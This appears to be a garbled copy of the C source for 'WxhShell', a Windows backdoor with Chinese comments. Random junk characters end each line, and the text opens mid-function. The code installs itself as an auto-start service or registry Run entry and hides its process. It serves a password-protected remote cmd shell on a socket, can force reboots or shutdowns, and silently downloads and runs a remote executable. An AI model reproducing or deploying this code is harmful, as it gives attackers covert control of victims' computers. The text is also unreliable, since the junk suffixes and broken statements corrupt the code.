    if(Boot(SHUTDOWN)) V]=22Cxi'~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW %AZkAx  
    else { :QE5 7 .  
    closesocket(wsh); {%V(Dd[B6  
    ExitThread(0); { i5?R,a)  
    } D BT4 W/  
    break; qpjY &3SI  
    } \iuR+I  
  // 获取shell #@XBHJD\#  
  case 's': { dGIdSQ~ _  
    CmdShell(wsh); Rn1oD3w  
    closesocket(wsh); .Ro/ioq  
    ExitThread(0); zA,vp^  
    break; CWj_K2=d  
  } D tsZP (  
  // 退出 I= mz^c{  
  case 'x': { M&Uy42,MR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /x<g$!`X  
    CloseIt(wsh); mxa~JAlN_  
    break; 44]s`QyG  
    } o<`vh*U@,4  
  // 离开 C"hN2Z!CD|  
  case 'q': { @KN+)qP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #lYyL`B+~  
    closesocket(wsh); 6EqA Y`y  
    WSACleanup(); TBj2(Z  
    exit(1); X8Z?G,[H  
    break; t*{L[c9.Uq  
        } ZlT }cA/n  
  } pu-HEv}]a|  
  } eV;r /4  
th?+TNb^  
  // 提示信息 {15j'Qwm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vgfC{]v<W]  
} =Tj{)=^/#  
  } &,X}M  
mG~_*8}e<  
  return; ("$/sT  
} `MtzA^Xr  
8fC4j`!  
// shell模块句柄 OgQd yU  
int CmdShell(SOCKET sock) ]?9*Vr:P^  
{ nL@'??I1  
STARTUPINFO si; mypV[  
ZeroMemory(&si,sizeof(si)); t^s&1#iC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &i#$ia r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _y@ 28t  
PROCESS_INFORMATION ProcessInfo; Y]z :^D  
char cmdline[]="cmd"; ]\E"oZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lZFu|(  
  return 0; '-iEbE  
} @HT\Y%E  
ClG%zE&i  
// 自身启动模式 2qMiX|Y  
int StartFromService(void) v 6~9)\!j  
{ p|>*M\LE#  
typedef struct wk(25(1q  
{ KX) n+{   
  DWORD ExitStatus; 2d)Dhxzxk  
  DWORD PebBaseAddress; q<3nAE$?=  
  DWORD AffinityMask; CM6% g f3  
  DWORD BasePriority; 144Y.  
  ULONG UniqueProcessId; DfXkLOGik  
  ULONG InheritedFromUniqueProcessId; 5`;SI36"  
}   PROCESS_BASIC_INFORMATION; 4TtC~#D:  
3I)~;>meo  
PROCNTQSIP NtQueryInformationProcess; N*Y[[N(  
K-qWT7<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u]^ s2v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %(CC  
f56yI]*N=<  
  HANDLE             hProcess; $?= $F  
  PROCESS_BASIC_INFORMATION pbi; ^q7V%{54  
p`tz*ewC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %~rEJB@{  
  if(NULL == hInst ) return 0; 3efOgP=L  
Cxf K(F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~7m`p3W@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L/k35x8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c%&,(NJ]K  
m#"_x{oa  
  if (!NtQueryInformationProcess) return 0; v%tjZ5x  
<Q[%:LD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >xWS>  
  if(!hProcess) return 0; -@v^. @[Z&  
iZGbNN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sh/ ,"b2!P  
'L/)9.29  
  CloseHandle(hProcess); _c5@)I~  
G%F#I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B=SA +{o  
if(hProcess==NULL) return 0; corm'AJ/  
|J $A%27  
HMODULE hMod; { FJMc O=  
char procName[255]; l`v5e"V  
unsigned long cbNeeded; LjKxznn o  
U[ ]yN.J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x]^d'o:cDP  
/s?%ft#-9o  
  CloseHandle(hProcess); $^x=i;>aK.  
Fh~9(Y#  
if(strstr(procName,"services")) return 1; // 以服务启动 *5'8jC"2g  
YPK@BmAdE  
  return 0; // 注册表启动 rZKh}E  
} -l[H]BAMXy  
K,4Ig!  
// 主模块 z#{Y>.b  
int StartWxhshell(LPSTR lpCmdLine) FZ*"^=)`G  
{ " ityx?  
  SOCKET wsl; l\_!oa~  
BOOL val=TRUE; ?1Nz ,Lc$  
  int port=0; kQ\GVI11?  
  struct sockaddr_in door; ]TvMT  
j.M]F/j  
  if(wscfg.ws_autoins) Install(); V&zeC/xSq  
oodA&0{)d  
port=atoi(lpCmdLine); 6 AO(A *  
KOixFn1  
if(port<=0) port=wscfg.ws_port; 7%h;To-<6  
p$,7qGST  
  WSADATA data; {O+T`; =)L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Laj/~Ru6  
L*0YOE%=]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Rj4= qq=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VL#:oyWA  
  door.sin_family = AF_INET; z,Xj$wl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I:dUHN+@L5  
  door.sin_port = htons(port); &A:&2sP8  
Dj/Hz\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Df"PNUwA"  
closesocket(wsl); w1Bkz\95  
return 1; r CJ$Pl9R  
} *`a$6F7m4  
tP_.-//  
  if(listen(wsl,2) == INVALID_SOCKET) { r] /Ej!|  
closesocket(wsl); f2.=1)u.  
return 1; 2Z; !N37U  
} XX=OyDLqP  
  Wxhshell(wsl); 2)EqqX[D  
  WSACleanup(); W @"Rdc-  
Y[*.^l._  
return 0; 6;E3|st1X  
,Uh^e]pC  
} +9/K|SB{ $  
VEV?$R7;  
// 以NT服务方式启动 1 |z4]R,<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jHEP1rNHE  
{ `8ob Xb  
DWORD   status = 0; lhM5a \  
  DWORD   specificError = 0xfffffff; S @[]znH  
% J\G[dl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W@!qp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UVDMYA0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +149 o2  
  serviceStatus.dwWin32ExitCode     = 0; 7\@c1e*e  
  serviceStatus.dwServiceSpecificExitCode = 0; IlJ"t`Z9)  
  serviceStatus.dwCheckPoint       = 0; :1d;jx>  
  serviceStatus.dwWaitHint       = 0; <gPM/ 4$G  
k7uX!}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~,,r\Y+  
  if (hServiceStatusHandle==0) return; rDl/R^w"  
ll__A|JQ  
status = GetLastError(); B9l~Y/3|  
  if (status!=NO_ERROR) hUpour |b  
{ (~Z&U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a3n Wt  
    serviceStatus.dwCheckPoint       = 0; E"}%$=yK  
    serviceStatus.dwWaitHint       = 0; \LUW?@gLa  
    serviceStatus.dwWin32ExitCode     = status; Q7amp:JFb  
    serviceStatus.dwServiceSpecificExitCode = specificError; i59 }6u_f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -|x7<$Hw  
    return; 8B ,S_0!  
  } N_G&nw  
=LGM[Z3$s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "9s}1C;Me  
  serviceStatus.dwCheckPoint       = 0; ,wf_o%'eW  
  serviceStatus.dwWaitHint       = 0; >QDyG8*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IFW(nB(  
} r@JMf)a]  
Zzlt^#KLx  
// 处理NT服务事件,比如:启动、停止 =lv(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *BxU5)O  
{ ; &rxwL  
switch(fdwControl) 9z?c0W5x  
{ rvx2{1}I  
case SERVICE_CONTROL_STOP: `;Ui6{|  
  serviceStatus.dwWin32ExitCode = 0; '!$ QI@@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uj;iE 9  
  serviceStatus.dwCheckPoint   = 0; rHk(@T.]  
  serviceStatus.dwWaitHint     = 0; ~LI}   
  { e!=7VEB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#2apaz  
  } >'n[B    
  return; AK lr a$  
case SERVICE_CONTROL_PAUSE:  Z/Wf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wrbv<8}%c  
  break; RrLj5Jq  
case SERVICE_CONTROL_CONTINUE: j7d^g a-`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xJ#O|7N  
  break; 5X8 i=M;  
case SERVICE_CONTROL_INTERROGATE: ?taC !{  
  break; uv5NqL&  
}; q'fOlq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RJ'za1@z;b  
} "r`2V-E  
c}v8j2{  
// 标准应用程序主函数 Sj)?!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _G`Q2hf"5  
{ wg_Z@iX  
#++:`Z  
// 获取操作系统版本 9~^k3!>0  
OsIsNt=GetOsVer(); _R0O9sPTO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nls$ wE  
*QNX?8Fm_  
  // 从命令行安装 l`75BR  
  if(strpbrk(lpCmdLine,"iI")) Install(); }2Ge??!  
DI/d(oFv`  
  // 下载执行文件 J<NpA(@^  
if(wscfg.ws_downexe) { ZT"vVX- )G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o^5UHFxTCB  
  WinExec(wscfg.ws_filenam,SW_HIDE); g[y&GCKY!=  
} C-_u`|jQ  
@@a#DjE%/  
if(!OsIsNt) { Bd*Ok]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Y0K Wx4  
HideProc(); ;"f9"  
StartWxhshell(lpCmdLine); &'neOf/~  
} R,7.o4Wt  
else T&1-gswr:  
  if(StartFromService()) 8/B8yY-O  
  // 以服务方式启动 qi^kf  
  StartServiceCtrlDispatcher(DispatchTable); O*2{V]Y @  
else E690'\)31  
  // 普通方式启动 3p-SpUvp  
  StartWxhshell(lpCmdLine); .: wg@Z  
rD6NUS  
return 0; ]=3hH+1 a  
} C(sz/x?11  
&]f8Xd  
j0F& WKk  
I(>_as\1  
=========================================== ]c\`EHN  
f&F9ImZ  
>y}> 5kv  
7u1o>a %9  
hQ)?LPUB  
Yjy%MR  
" | Eu#mN  
Q(WfWifu-|  
#include <stdio.h> 8z-wdO\  
#include <string.h> ]Gj%-5G  
#include <windows.h> b;`MHEzw&q  
#include <winsock2.h> V1i^#;  
#include <winsvc.h> #cikpHLXG  
#include <urlmon.h> "<L9-vb  
gjJ:s,Fg  
#pragma comment (lib, "Ws2_32.lib") W;X:U.  
#pragma comment (lib, "urlmon.lib") EnMc9FN(y  
1JS5 LS  
#define MAX_USER   100 // 最大客户端连接数 6DEH |2  
#define BUF_SOCK   200 // sock buffer cri-u E?  
#define KEY_BUFF   255 // 输入 buffer @Rd`/S@  
@Us#c 7/  
#define REBOOT     0   // 重启 Sw{rNzh%$  
#define SHUTDOWN   1   // 关机 C:!&g~{cKi  
fX LsLh+~D  
#define DEF_PORT   5000 // 监听端口 aTaL|&(  
}PMlG  
#define REG_LEN     16   // 注册表键长度 IQ JFL +f  
#define SVC_LEN     80   // NT服务名长度 R{B5{~m>W@  
U~|)=+%O  
// 从dll定义API :p1_ij]ND  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oxi^&f||`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AAi4} 8+\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gxDyCL$h3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pr/q?qZY  
* P12d  
// wxhshell配置信息 rv~OfL  
struct WSCFG { I'J-)D`  
  int ws_port;         // 监听端口 UHI<8o9  
  char ws_passstr[REG_LEN]; // 口令 /Zz [vf  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Zp[f6^Q  
  char ws_regname[REG_LEN]; // 注册表键名 DI :  
  char ws_svcname[REG_LEN]; // 服务名 `'rvDaP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xM&`>`;^e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4SkCV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0sq?>$~Kc*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z4k'c+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (>\4%(pnD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |l~#qeZ%  
pSx}:u^am  
}; |UQGZ  
Fp+fZU  
// default Wxhshell configuration On;7  
struct WSCFG wscfg={DEF_PORT, !'bZ|j%  
    "xuhuanlingzhe", m*AiP]Qu  
    1, ` b)i;m  
    "Wxhshell", bz\nCfU  
    "Wxhshell", H9=8nLb.  
            "WxhShell Service", Q-e(>=Gv_  
    "Wrsky Windows CmdShell Service", |pT[ZT|}G  
    "Please Input Your Password: ", @ +>>TGC  
  1, nI`9|W  
  "http://www.wrsky.com/wxhshell.exe", JGlp7wro  
  "Wxhshell.exe" . N5$s2t  
    }; SQdK`]4  
[WR*u\FF  
// 消息定义模块 V4<f4|IL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M r~IVmtf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o3:h!(#G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }vX 1@n7T6  
char *msg_ws_ext="\n\rExit."; <a(739IF  
char *msg_ws_end="\n\rQuit."; [TmZ\t!5$  
char *msg_ws_boot="\n\rReboot..."; z7JhS|  
char *msg_ws_poff="\n\rShutdown..."; x c?=fv  
char *msg_ws_down="\n\rSave to "; `! )^g/>0i  
NE?tfj  
char *msg_ws_err="\n\rErr!"; fc^d3wH0L  
char *msg_ws_ok="\n\rOK!"; hIo ^/_K  
za5E{<0  
char ExeFile[MAX_PATH]; kI~; 'M  
int nUser = 0; kznm$2 b  
HANDLE handles[MAX_USER]; mN" g~o*  
int OsIsNt; o|1_I?_  
nsXyReWka  
SERVICE_STATUS       serviceStatus; n?NUnFA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  )jH|j  
%bB:I1V\  
// 函数声明 ~T\:".C  
int Install(void); :w9s bW  
int Uninstall(void); 9d+z?J:  
int DownloadFile(char *sURL, SOCKET wsh); E>1%7" i<  
int Boot(int flag); hhJ>>G4R2  
void HideProc(void);  :D  
int GetOsVer(void); ^}Gu'!z9D  
int Wxhshell(SOCKET wsl); $mst\]&;  
void TalkWithClient(void *cs); Wl{}>F`W[  
int CmdShell(SOCKET sock); (+9^)No  
int StartFromService(void); o[k,{`M0  
int StartWxhshell(LPSTR lpCmdLine); HA;G{[X  
j>O!|V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1v9 #Fr Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <)$JA  
q} p (p( N  
// 数据结构和表定义 z4s{a(Tsd  
SERVICE_TABLE_ENTRY DispatchTable[] = 26-K:"  
{ bSk)GZyH\d  
{wscfg.ws_svcname, NTServiceMain}, $G#)D^-5G  
{NULL, NULL} +Y440Tz  
}; DP &*P/  
~ ll+/w\4  
// 自我安装 ByW,YKMy  
int Install(void) k mX:~KMb  
{  tZN'OoZ  
  char svExeFile[MAX_PATH]; z?g\w6  
  HKEY key; y.WEO>   
  strcpy(svExeFile,ExeFile); 9y;8JO  
6z1>(Za7>  
// 如果是win9x系统,修改注册表设为自启动 <w0$0ku  
if(!OsIsNt) { =\x(Rs3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IUwMIHq&sW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aeTVcq  
  RegCloseKey(key); iR{*X E   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MY z\ R \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x4/f5  
  RegCloseKey(key); \`|OAC0a  
  return 0; B&z~}lL  
    } T']G:jkb  
  } I :o.%5)  
} ^}<h_T?<_-  
else { l'#a2Pl  
)C#b83  
// 如果是NT以上系统,安装为系统服务 1|H(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j<'ZO)q`Q  
if (schSCManager!=0) Bpdx]5qfK  
{ !WQS.&  
  SC_HANDLE schService = CreateService  uzaD K  
  ( h$a% PaVf  
  schSCManager, !^(?C@TQ  
  wscfg.ws_svcname, S0p[Kt  
  wscfg.ws_svcdisp, /\UFJ  
  SERVICE_ALL_ACCESS, ;+R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Ezy-x2h  
  SERVICE_AUTO_START, ,&rHBNS  
  SERVICE_ERROR_NORMAL, rL<a^/b/=  
  svExeFile, bjB4  
  NULL, 6e :#x:O  
  NULL, 76 RFu@k  
  NULL, {*t0WE&1t  
  NULL, Huho|6ohH  
  NULL 629 #t`W\  
  ); K|sx"u|?  
  if (schService!=0) sB%QqFRP  
  { vuNq7V*}  
  CloseServiceHandle(schService); NekPl/4  
  CloseServiceHandle(schSCManager); |E9iG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -gy@sSfvkv  
  strcat(svExeFile,wscfg.ws_svcname); K_CE.8G&{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iCh,7I,m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6@geakq  
  RegCloseKey(key); K_ [B@( Xl  
  return 0; 5!iBKOl#D  
    } <~-cp61z;  
  } K}9c$C4  
  CloseServiceHandle(schSCManager); VL| q`n  
} - DE?L,9X9  
} ;n;bap  
-)$5[jM]  
return 1; )~H&YINhn  
} #Bi8>S  
PNhxF C.  
// 自我卸载 [vyi_0[  
int Uninstall(void) _/@u[dWeL  
{ KBy*QA  
  HKEY key; SH/^qDT'  
YuKg|<WO  
if(!OsIsNt) { =p 7eP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,K~r':ht  
  RegDeleteValue(key,wscfg.ws_regname); p1B~F  
  RegCloseKey(key); 2s<uT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zsx\GeE%:  
  RegDeleteValue(key,wscfg.ws_regname); KkD&|&!Q7u  
  RegCloseKey(key); VJ()sbl{k  
  return 0; &BS*C} },  
  } rM{V>s:N  
} {<y.G1<.  
} GR>kxYM%q  
else { Hw 1cc3!  
Rr6}$]1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BoHpfx1C  
if (schSCManager!=0) E7>D:BQ\2  
{ A4hbh$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YK6zN>M}E  
  if (schService!=0) XX[CTh?O%  
  { 7dtkylW  
  if(DeleteService(schService)!=0) { s2t9+ZA+s  
  CloseServiceHandle(schService); Uy5G,!  
  CloseServiceHandle(schSCManager); #jd&f,Tt  
  return 0; Y]])Tq;h5  
  } uo[W|Q  
  CloseServiceHandle(schService); IAzi:ct  
  } ;kb);iT  
  CloseServiceHandle(schSCManager); :XaBCF*  
} |h* rkLY  
} b[os0D95  
R gTrj  
return 1; o%sx(g=q6  
} 'jj|bN  
t?;\'  
// 从指定url下载文件 Dwg_#GSr  
int DownloadFile(char *sURL, SOCKET wsh) y,cz;2  
{ s?~lMm' !  
  HRESULT hr; ]x:>!y  
char seps[]= "/"; 3T84f[CFJ  
char *token; \zx$]|AQ  
char *file; 8c^Hfjr0  
char myURL[MAX_PATH]; 9U]j@*QN  
char myFILE[MAX_PATH]; EEdU\9DH(  
SKeX~uLz  
strcpy(myURL,sURL); w$4*/D}Y  
  token=strtok(myURL,seps); {dXmSuO  
  while(token!=NULL) }(/\vTn*1  
  { g=L80$1  
    file=token; (,OF<<OH  
  token=strtok(NULL,seps); 3+oGR5gIN  
  } pRH'>}rtuH  
=u 3YRqz  
GetCurrentDirectory(MAX_PATH,myFILE); !@4 i:,p@  
strcat(myFILE, "\\"); W|4h;[w  
strcat(myFILE, file); 28x:]5=jb  
  send(wsh,myFILE,strlen(myFILE),0); Y=\:fa  
send(wsh,"...",3,0); KuJNKuHa.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :jr`}Z%;y  
  if(hr==S_OK) +Hk r\  
return 0; 5VjO:>  
else $~)YI/b  
return 1; W@FSQ8b>$m  
0AD8X+M{P  
} ,jq:%Y[KZ  
:b`ywSp`  
// 系统电源模块 P87Lo4R d  
int Boot(int flag) Q.} guI\  
{ }BI|M_q.1~  
  HANDLE hToken; am+w<NJ(us  
  TOKEN_PRIVILEGES tkp; 7ro&Q%  
b!oj3|9  
  if(OsIsNt) { 9|NH5A"H.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?4cj"i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \qz! v  
    tkp.PrivilegeCount = 1; vo>i36  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XJ e}^k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2KtK.2;7  
if(flag==REBOOT) { TXo`P_SE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wn-'iD+9<  
  return 0; i !;9A6D  
} _"[Ls?tRX  
else { 6KDm#7J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qPoN 8>.  
  return 0; bCqTubbx!t  
}  L30$  
  } $8WWN} OC  
  else { \>[k0<  
if(flag==REBOOT) { b} FhC"'i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %ty`Oa2  
  return 0; 7KL@[  
} WS//0  
else { 6uIgyO*;k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +E-CsNAZ*"  
  return 0; $:RR1.Tv  
} :}z `4S@b  
} JFFluL=-  
>Og|*g  
return 1; 1YN w=  
} @Yn+ir0>O  
V5'(op/  
// win9x进程隐藏模块 mgMa)yc!dp  
void HideProc(void) otX/sg.B*  
{ |u]IOw&1  
3JEg3|M(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  JKV&c= I  
  if ( hKernel != NULL ) `BVXF#sb  
  { K[yP{01  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0.)q5B`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )H(i)$I  
    FreeLibrary(hKernel); iDWM-Ytx  
  } CaC \\5wl  
 :!Nx'F9a  
return; #>6Jsnv1  
} X0Wx\xDg[  
+ZOKfX  
// 获取操作系统版本 =Cd{bj.8  
int GetOsVer(void) P$Q,t2$A  
{  +;-ZU  
  OSVERSIONINFO winfo; 0:`*xix  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QP/ZD|/ t1  
  GetVersionEx(&winfo); G*_qqb{B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8u%,5GV>Xr  
  return 1; yLPP6_59$  
  else l <p(zLR  
  return 0; C1>zwU_zo  
} 05:?5M4};  
_F8THYg (  
// 客户端句柄模块 jZD)c_'U  
int Wxhshell(SOCKET wsl) /DjsnU~3  
{  aWPf3Q  
  SOCKET wsh; b gxk:$E  
  struct sockaddr_in client; `<{LW>Lb  
  DWORD myID; "  sC]z}  
>#)%/Ti}DU  
  while(nUser<MAX_USER) EJ(36h  
{ T%Bz>K  
  int nSize=sizeof(client); .yDGwLry  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /b\c<'3NY  
  if(wsh==INVALID_SOCKET) return 1; `~z[Hj=2  
zhJ0to[%?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5|cRHM#  
if(handles[nUser]==0) 'E&tEbY  
  closesocket(wsh);  AGm=0Om  
else *?\u5O(  
  nUser++; UVXSW*$  
  } w{t]^w:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mFeR~Bi>!  
zdw* ?C  
  return 0; wX$|(Y }  
} Zl>dBc%  
f >.^7.is  
// 关闭 socket ,"Fl/AjO  
void CloseIt(SOCKET wsh) Y'5(exW  
{ KaX*) P  
closesocket(wsh); P aeq  
nUser--; s/.P/g%tA>  
ExitThread(0); wqi0%Cu*  
} Z~<=I }@  
TyjZ  
// 客户端请求句柄 plp-[eKcD  
void TalkWithClient(void *cs) J.'%=q(Sb  
{ ANNVE},  
9ln=f=  
  SOCKET wsh=(SOCKET)cs; q#@r*hl  
  char pwd[SVC_LEN]; t|mK5aR4  
  char cmd[KEY_BUFF]; bL Sc=f&  
char chr[1]; ^/6P~iK'  
int i,j; @%G?Nht]o  
H>W8F2VT  
  while (nUser < MAX_USER) { fERO(o  
Xhq6l3M  
if(wscfg.ws_passstr) { M9""(`U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T9XUNR{&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .xuzu#-  
  //ZeroMemory(pwd,KEY_BUFF); jRd$Vt  
      i=0; h!v< J  
  while(i<SVC_LEN) { ]Vmo >  
gO)":!_n W  
  // 设置超时 )$1>6C\  
  fd_set FdRead; T2/:C7zL  
  struct timeval TimeOut; !n` |k  
  FD_ZERO(&FdRead); 22=sh;y+2  
  FD_SET(wsh,&FdRead); s2<[@@@q  
  TimeOut.tv_sec=8; hlDB'8  
  TimeOut.tv_usec=0; ma+AFCi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~\AF\n%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kiyc^s  
Ix}6%2\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Q3\6DCl  
  pwd=chr[0]; d$ n31F  
  if(chr[0]==0xd || chr[0]==0xa) { ZOMYo]  
  pwd=0; NPrLM5  
  break; <e?Eva%t`  
  } 8Y.9%@  
  i++; $XTtDUP@  
    } jz! [#-G  
WubV?NX;EF  
  // 如果是非法用户,关闭 socket yW (|auq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S<-nlBs.  
} 3F@P$4!#l  
Eh ";irE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $xbW*w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k}Q<#   
I8j:{*h  
while(1) { kaXq.  
pmvd%X\f  
  ZeroMemory(cmd,KEY_BUFF); ];4!0\M  
Y#XRn _2D  
      // 自动支持客户端 telnet标准   ~mARgv  
  j=0; AB`.K{h  
  while(j<KEY_BUFF) { ~r!(V;k{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *<!q@r<d  
  cmd[j]=chr[0]; )S(Ly.  
  if(chr[0]==0xa || chr[0]==0xd) { XC)9aC@s  
  cmd[j]=0; e1LIk1`p  
  break; i/%l B  
  } y/c3x*l.xL  
  j++; <JH,B91  
    } ?KOw~-u  
jT =|!,Pn  
  // 下载文件 l"%80"zO  
  if(strstr(cmd,"http://")) { iGu%_-S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wz s=BNm9  
  if(DownloadFile(cmd,wsh)) flo$[]`.7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d_M+W@{  
  else cO*g4VL"[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Z<\kx  
  } NeG` D'  
  else { jh)@3c  
UGI<V!  
